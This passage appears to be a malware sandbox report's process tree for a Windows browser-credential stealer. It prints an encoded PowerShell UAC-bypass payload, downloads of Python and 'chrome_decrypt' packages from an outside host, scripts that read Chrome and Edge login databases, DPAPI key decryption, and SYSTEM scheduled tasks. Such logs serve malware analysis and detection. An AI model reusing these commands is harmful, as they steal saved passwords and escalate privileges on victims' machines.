    - - C:\Windows\system32\icacls.exe
        
        icacls.exe C:\ProgramData\Google\UpdateAssistant\dpapi_work\cng_py_1793600126756.py /grant *S-1-5-18:(R)
        5⤵
        Modifies file permissions
        
        PID:2668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARgB7AHAAYQByAGEAbQAoAFsAUwB0AHIAaQBuAGcAXQAkAHMAcgBjACwAWwBTAHQAcgBpAG4AZwBdACQAYQByAGcAKQAKACQAbgA9AEAAKAAnAFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAApAF0AJwAsACcATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgB5AFYAYQBsAEEAcgByAGEAeQAsAFMAaQB6AGUAQwBvAG4AcwB0ACcALAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG8AbABlADMAMgAuAGQAbABsACIALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUALABTAGUAdABMAGEAcwB0AEUAcgByAG8AcgA9AHQAcgB1AGUAKQBdACcALAAnAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAnACkACgAkAG0AZQA9AEAAKAAiAEMAbwBJAG4AaQB0AGkAYQBsAGkAegBlAEUAeAAiACwAIgBDAG8AVQBuAGkAbgBpAHQAaQBhAGwAaQB6AGUAIgAsACIAQwBvAEcAZQB0AE8AYgBqAGUAYwB0ACIAKQAKACQAcwBnAD0AJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsADsAJwArACQAbgBbADAAXQArACcAcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAF8AcwAxAHsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAdQAxADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADEANgAgAHUAMgA7AHAAdQBiAGwAaQBjACAAVQBJAG4AdAAxADYAIAB1ADMAOwBbACcAKwAkAG4AWwAxAF0AKwAnAD0AOAApAF0AcAB1AGIAbABpAGMAIABiAHkAdABlAFsAXQAgAGIAdAA7AH0AJwArACQAbgBbADAAXQArACcAcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAF8AcwAyAHsAWwAnACsAJABuAFsAMQBdACsAJwA9ADcAKQBdAHAAdQBiAGwAaQBjACAAVQBJAG4AdAAzADIAWwBdACAAdQB0ADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAHAAaQBuAGYAbwA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABoAHcAbgBkADsAfQBwAHUAYgBsAGkAYwAgAHMAdAByAHUAYwB0ACAAXwBzADMAewBbACcAKwAkAG4AWwAxAF0AKwAnAD0AMgAzACkAXQBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByAFsAXQAgAGYAdQBuAGMAOwB9AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABFAEEAewAnACsAJABuAFsAMgBdACsAJABuAFsAMwBdACsAJwAgAGkAbgB0ACAAJwArACQAbQBlAFsAMABdACsAJwAoAEkAbgB0AFAAdAByACAAcAB2AFIAZQBzAGUAcgB2AGUAZAAsAFUASQBuAHQAMwAyACAAZAB3AEMAbwBJAG4AaQB0ACkAOwAnACsAJABuAFsAMgBdACsAJABuAFsAMwBdACsAJwAgAHYAbwBpAGQAIAAnACsAJABtAGUAWwAxAF0AKwAnACgAKQA7ACcAKwAkAG4AWwAyAF0AKwAkAG4AWwAzAF0AKwAnACAAaQBuAHQAIAAnACsAJABtAGUAWwAyAF0AKwAnACgAcwB0AHIAaQBuAGcAIABwAHMAegBOAGEAbQBlACwASQBuAHQAUAB0AHIAIABwAEIAaQBuAGQATwBwAHQAaQBvAG4AcwAsAF8AcwAxACAAcgBpAGkAZAAsAHIAZQBmACAASQBuAHQAUAB0AHIAIABwAHAAdgApADsAfQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAZwAKACQAeAA9AFsARQBBAF0ACgAkAHgAOgA6ACgAJABtAGUAWwAxAF0AKQAoACkACgAkAGgAaQA9ACQAeAA6ADoAKAAkAG0AZQBbADAAXQApACgAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAMgApAAoAJABtAD0AWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQAKACQAYQBtAD0AQAAoACIAUwBpAHoAZQBPAGYAIgAsACIAQQBsAGwAbwBjAEgARwBsAG8AYgBhAGwAIgAsACIAUwB0AHIAdQBjAHQAdQByAGUAVABvAFAAdAByACIALAAiAFAAdAByAFQAbwBTAHQAcgB1AGMAdAB1AHIAZQAiACwAIgBTAHQAcgBpAG4AZwBUAG8ASABHAGwAbwBiAGEAbABVAG4AaQAiACwAIgBHAGUAdABEAGUAbABlAGcAYQB0AGUARgBvAHIARgB1AG4AYwB0AGkAbwBuAFAAbwBpAG4AdABlAHIAIgApAAoAJABzADIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAXwBzADIACgAkAHMAegA9ACQAbQA6ADoAKAAkAGEAbQBbADAAXQApACgAJABzADIAKQAKACQAcwAyAC4AdQB0AD0AWwBVAEkAbgB0ADMAMgBbAF0AXQAoACQAcwB6ACwAMAAsADAALAAwACwAMAAsADQALAAwACkACgAkAHAAMgA9ACQAbQA6ADoAKAAkAGEAbQBbADEAXQApACgAJABzAHoAKQAKACQAbQA6ADoAKAAkAGEAbQBbADIAXQApACgAJABzADIALAAkAHAAMgAsACQAVAByAHUAZQApAAoAJAB0ADMAPQAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABfAHMAMwApAC4ARwBlAHQAVAB5AHAAZQAoACkACgAkAHMAegA9ACQAbQA6ADoAKAAkAGEAbQBbADAAXQApACgAWwBUAHkAcABlAF0AJAB0ADMAKQAKACQAcAB2AD0AJABtADoAOgAoACQAYQBtAFsAMQBdACkAKAAkAHMAegApAAoAJABnAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAF8AcwAxAAoAJABnAC4AdQAxAD0AMAB4ADYARQBEAEQANgBEADcANAAKACQAZwAuAHUAMgA9ADAAeABDADAAMAA3AAoAJABnAC4AdQAzAD0AMAB4ADQARQA3ADUACgAkAGcALgBiAHQAPQBbAGIAeQB0AGUAWwBdAF0AKAAwAHgAQgA3ACwAMAB4ADYAQQAsADAAeABFADUALAAwAHgANwA0ACwAMAB4ADAAOQAsADAAeAA5ADUALAAwAHgARQAyACwAMAB4ADQAYwApAAoAJABoAHIAPQAkAHgAOgA6ACgAJABtAGUAWwAyAF0AKQAoACcARQBsAGUAdgBhAHQAaQBvAG4AOgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACEAbgBlAHcAOgB7ADMARQA1AEYAQwA3AEYAOQAtADkAQQA1ADEALQA0ADMANgA3AC0AOQAwADYAMwAtAEEAMQAyADAAMgA0ADQARgBCAEUAQwA3AH0AJwAsACQAcAAyACwAJABnACwAWwByAGUAZgBdACQAcAB2ACkACgBpAGYAKAAkAGgAcgAgAC0AbgBlACAAMAApAHsAZQB4AGkAdAAgADEAfQAKACQAdgB0AD0AJABtADoAOgAoACQAYQBtAFsAMwBdACkAKAAkAHAAdgAsAFsAVAB5AHAAZQBdACQAdAAzACkACgAkAHYAdAA9ACQAbQA6ADoAKAAkAGEAbQBbADMAXQApACgAJAB2AHQALgBmAHUAbgBjAFsAMABdACwAWwBUAHkAcABlAF0AJAB0ADMAKQAKACQAZgBhAD0AJAB2AHQALgBmAHUAbgBjAFsAOQBdAAoAJABkAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAAoAJABkAG4APQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAKAAnAFgAJwApAAoAJABvAGIAPQBAACgAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBFAG0AaQB0AC4AQQBzAHMAZQBtAGIAbAB5AEIAdQBpAGwAZABlAHIAQQBjAGMAZQBzAHMAXQAsAFsAUwB5AHMAdABlAG0ALgBNAHUAbAB0AGkAYwBhAHMAdABEAGUAbABlAGcAYQB0AGUAXQAsAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQApAAoAJAB0AGIAPQAkAGQALgBEAGUAZgBpAG4AZQBEAHkAbgBhAG0AaQBjAEEAcwBzAGUAbQBiAGwAeQAoACQAZABuACwAJABvAGIAWwAwAF0AOgA6AFIAdQBuACkALgBEAGUAZgBpAG4AZQBEAHkAbgBhAG0AaQBjAE0AbwBkAHUAbABlACgAJwBNACcALAAkAGYAYQBsAHMAZQApAC4ARABlAGYAaQBuAGUAVAB5AHAAZQAoACcARAAnACwAJwBDAGwAYQBzAHMALAAgAFAAdQBiAGwAaQBjACwAIABTAGUAYQBsAGUAZAAsACAAQQBuAHMAaQBDAGwAYQBzAHMALAAgAEEAdQB0AG8AQwBsAGEAcwBzACcALAAkAG8AYgBbADEAXQApAAoAJAB0AGEAPQBAACgAWwBJAG4AdABQAHQAcgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBVAEkAbgB0ADMAMgBdACwAWwBVAEkAbgB0ADMAMgBdACkACgAkAHQAYgAuAEQAZQBmAGkAbgBlAEMAbwBuAHMAdAByAHUAYwB0AG8AcgAoACcAUgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjACcALAAkAG8AYgBbADIAXQA6ADoAUwB0AGEAbgBkAGEAcgBkACwAJAB0AGEAKQAuAFMAZQB0AEkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgBGAGwAYQBnAHMAKAAnAFIAdQBuAHQAaQBtAGUALAAgAE0AYQBuAGEAZwBlAGQAJwApAAoAJAB0AGIALgBEAGUAZgBpAG4AZQBNAGUAdABoAG8AZAAoACcASQBuAHYAbwBrAGUAJwAsACcAUAB1AGIAbABpAGMALAAgAEgAaQBkAGUAQgB5AFMAaQBnACwAIABOAGUAdwBTAGwAbwB0ACwAIABWAGkAcgB0AHUAYQBsACcALABbAEkAbgB0AF0ALAAkAHQAYQApAC4AUwBlAHQASQBtAHAAbABlAG0AZQBuAHQAYQB0AGkAbwBuAEYAbABhAGcAcwAoACcAUgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAAnACkACgAkAGYAdAA9ACQAdABiAC4AQwByAGUAYQB0AGUAVAB5AHAAZQAoACkACgAkAGYAPQAkAG0AOgA6ACgAJABhAG0AWwA1AF0AKQAoACQAZgBhACwAJABmAHQAKQAKACQAdQBzAD0AJABtADoAOgAoACQAYQBtAFsANABdACkAKAAkAHMAcgBjACkACgAkAHUAYQA9ACQAbQA6ADoAKAAkAGEAbQBbADQAXQApACgAJABhAHIAZwApAAoAJABmAC4ASQBuAHYAbwBrAGUAKAAkAHAAdgAsACQAdQBzACwAJAB1AGEALAAwACwAMAAsADAAKQAKAGkAZgAoACQAaABpACAALQBlAHEAIAAwACkAewAkAHgAOgA6ACgAJABtAGUAWwAxAF0AKQAoACkAfQB9AAoARgAgAC0AcwByAGMAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAIAAtAGEAcgBnACAAJwAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwARwBvAG8AZwBsAGUAXABVAHAAZABhAHQAZQBBAHMAcwBpAHMAdABhAG4AdABcAGQAcABhAHAAaQBfAHcAbwByAGsAXABjAG4AZwBfAHQAYwBfADEANwA5ADMANgAwADAAMQAyADYANwA1ADYALgBwAHMAMQAiACcA
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4900
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xeimwdpw\xeimwdpw.cmdline"
        6⤵
        
        PID:2076
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2387.tmp" "c:\Users\Admin\AppData\Local\Temp\xeimwdpw\CSCE13EC1046C140559B92CC7EB0151C61.TMP"
        7⤵
        
        PID:264
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Start-Sleep -Milliseconds 500"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4988
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Start-Sleep -Milliseconds 500"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Unregister-ScheduledTask -TaskName 'CNGdbtxcl' -Confirm:$false -EA SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6048
    - - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /Delete /TN CNGdbtxcl /F
        5⤵
        
        PID:3568
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4440
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-detect-1793600112928.py --local-state "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" --login-data "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" -o C:\Users\Admin\AppData\Local\Temp\sa-ep-1793600112928.txt --browser chrome --section-label "Chrome / Default"
        5⤵
        
        PID:5560
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3008
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work /grant *S-1-5-18:(OI)(CI)(F) /T
        6⤵
        Modifies file permissions
        
        PID:3108
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_in_1793600131762.bin /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:1392
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_out_1793600131762.bin /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:4976
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_st_1793600131762.txt /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:3340
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_ps_1793600131762.ps1 /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:4824
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Create /TN ABES131762 /SC ONCE /ST 23:59 /RU SYSTEM /RL HIGHEST /F /TR "powershell.exe -NoProfile -ExecutionPolicy Bypass -File \"C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_ps_1793600131762.ps1\""
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5772
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Run /TN ABES131762
        6⤵
        
        PID:5920
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Delete /TN ABES131762 /F
        6⤵
        
        PID:1420
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_in_1793600132432.bin /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:984
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_out_1793600132432.bin /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:1708
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_st_1793600132432.txt /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:4616
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_py_1793600132432.py /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:1088
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Create /TN CNGS132432 /SC ONCE /ST 00:00 /RU SYSTEM /RL HIGHEST /F /TR "\"C:\Program Files\Google\Chrome\Application\python.exe\" \"C:\Users\Admin\AppData\Local\Temp\cng_py_1793600132432.py\""
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4812
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Run /TN CNGS132432
        6⤵
        
        PID:5752
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Delete /TN CNGS132432 /F
        6⤵
        
        PID:1132
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-detect-1793600112928.py --local-state "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" --login-data "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" -o C:\Users\Admin\AppData\Local\Temp\sa-ep-1793600112928.txt --browser chrome --section-label "Chrome / Default (Login Data For Account)" --append
        5⤵
        
        PID:1468
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work /grant *S-1-5-18:(OI)(CI)(F) /T
        6⤵
        Modifies file permissions
        
        PID:2352
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_in_1793600133475.bin /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:4880
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_out_1793600133475.bin /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:2936
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_st_1793600133475.txt /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:3292
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_ps_1793600133475.ps1 /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:5564
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Create /TN ABES133475 /SC ONCE /ST 23:59 /RU SYSTEM /RL HIGHEST /F /TR "powershell.exe -NoProfile -ExecutionPolicy Bypass -File \"C:\ProgramData\Google\UpdateAssistant\dpapi_work\abe_ps_1793600133475.ps1\""
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1636
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Run /TN ABES133475
        6⤵
        
        PID:4720
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Delete /TN ABES133475 /F
        6⤵
        
        PID:2552
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_in_1793600134142.bin /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:4696
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_out_1793600134142.bin /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:4540
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_st_1793600134142.txt /grant *S-1-5-18:(M)
        6⤵
        Modifies file permissions
        
        PID:5832
      - C:\Windows\SYSTEM32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\cng_py_1793600134142.py /grant *S-1-5-18:(R)
        6⤵
        Modifies file permissions
        
        PID:3584
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Create /TN CNGS134142 /SC ONCE /ST 00:00 /RU SYSTEM /RL HIGHEST /F /TR "\"C:\Program Files\Google\Chrome\Application\python.exe\" \"C:\Users\Admin\AppData\Local\Temp\cng_py_1793600134142.py\""
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4624
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Run /TN CNGS134142
        6⤵
        
        PID:4648
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Delete /TN CNGS134142 /F
        6⤵
        
        PID:6040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};(New-Object Net.WebClient).DownloadFile('https://api.chestsoi.ink/data/python-3.12.8-embed-amd64.zip','C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600134595\python-3.12.8-embed-amd64.zip')"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};(New-Object Net.WebClient).DownloadFile('https://api.chestsoi.ink/data/chrome_decrypt_sitepackages_amd64.zip','C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600134595\chrome_decrypt_sitepackages_amd64.zip')"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4556
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $appDir='C:\Program Files (x86)\Microsoft\Edge\Application'; $pyZip='C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600134595\python-3.12.8-embed-amd64.zip'; $spZip='C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600134595\chrome_decrypt_sitepackages_amd64.zip'; New-Item -ItemType Directory -Force -Path $appDir | Out-Null; & 'C:\Windows\System32\tar.exe' -xf $pyZip -C $appDir 2>&1 | Out-Null; if($LASTEXITCODE -ne 0){throw \"tar exit $LASTEXITCODE\"}; if(-not (Test-Path (Join-Path $appDir 'python.exe'))){throw 'python.exe not extracted (permission denied)'}; Get-ChildItem -Path $appDir -Filter 'python*._pth' | ForEach-Object { $c=[IO.File]::ReadAllText($_.FullName); if($c -match '#import site'){[IO.File]::WriteAllText($_.FullName, ($c -replace '#import site','import site'))} }; $siteDir=Join-Path $appDir 'Lib\site-packages'; New-Item -ItemType Directory -Force -Path $siteDir | Out-Null; & 'C:\Windows\System32\tar.exe' -xf $spZip -C $siteDir 2>&1 | Out-Null; if($LASTEXITCODE -ne 0){throw \"tar site-packages exit $LASTEXITCODE\"}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3336
      - C:\Windows\System32\tar.exe
        
        "C:\Windows\System32\tar.exe" -xf C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600134595\python-3.12.8-embed-amd64.zip -C "C:\Program Files (x86)\Microsoft\Edge\Application"
        6⤵
        
        PID:2188
      - C:\Windows\System32\tar.exe
        
        "C:\Windows\System32\tar.exe" -xf C:\Users\Admin\AppData\Local\Temp\sa-embed-py-1793600134595\chrome_decrypt_sitepackages_amd64.zip -C "C:\Program Files (x86)\Microsoft\Edge\Application\Lib\site-packages"
        6⤵
        
        PID:2052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\python.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\python.exe" -c "import sqlite3; from Crypto.Cipher import AES"
        5⤵
        
        PID:572
    - - C:\Program Files (x86)\Microsoft\Edge\Application\python.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\python.exe" -c "import sqlite3; from Crypto.Cipher import AES"
        5⤵
        
        PID:1792
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5736
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-qpy-1793600139936.py
        5⤵
        
        PID:4108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security;$d=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAxWQOOZljgkyTLTmKQFik2BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAjstcC/xxcvsUhPMpa8avr8A1cBrUGgPkYiMXlCSCmiIAAAAADoAAAAACAAAgAAAAQyP/2Nbbd37Qci0sxttNTDYP8P7Bif1HyBrxte3ei0EwAAAAyp7R0TIfRhCaoMG+x1uqydM/E383zwUKzlPjzo50a56wrpFssuWo+wIYmIPVK5y3QAAAAM4AwbhEaqr1eqvFmJ1Zt8HScSP/JlX8Itkz1eTnU2gK1jfNaQxteewfwnP92seRMMCY138RDeTbCBg/Kwr9Gqk=');$r=[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,'CurrentUser');[Convert]::ToBase64String($r)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6116
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2028
    - - C:\Program Files (x86)\Microsoft\Edge\Application\python.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-detect-1793600112928.py --local-state "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State" --login-data "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" -o C:\Users\Admin\AppData\Local\Temp\sa-ep-1793600112928.txt --browser edge --section-label "Edge / Default" --append
        5⤵
        
        PID:3284
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-qpy-1793600140895.py
        5⤵
        
        PID:2160
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-qpy-1793600140978.py
        5⤵
        
        PID:464
    - - C:\Program Files\Google\Chrome\Application\python.exe
        
        "C:\Program Files\Google\Chrome\Application\python.exe" C:\Users\Admin\AppData\Local\Temp\sa-qpy-1793600141062.py
        5⤵
        
        PID:4672
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM agent.exe
        5⤵
        Kills process with taskkill
        
        PID:2792
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
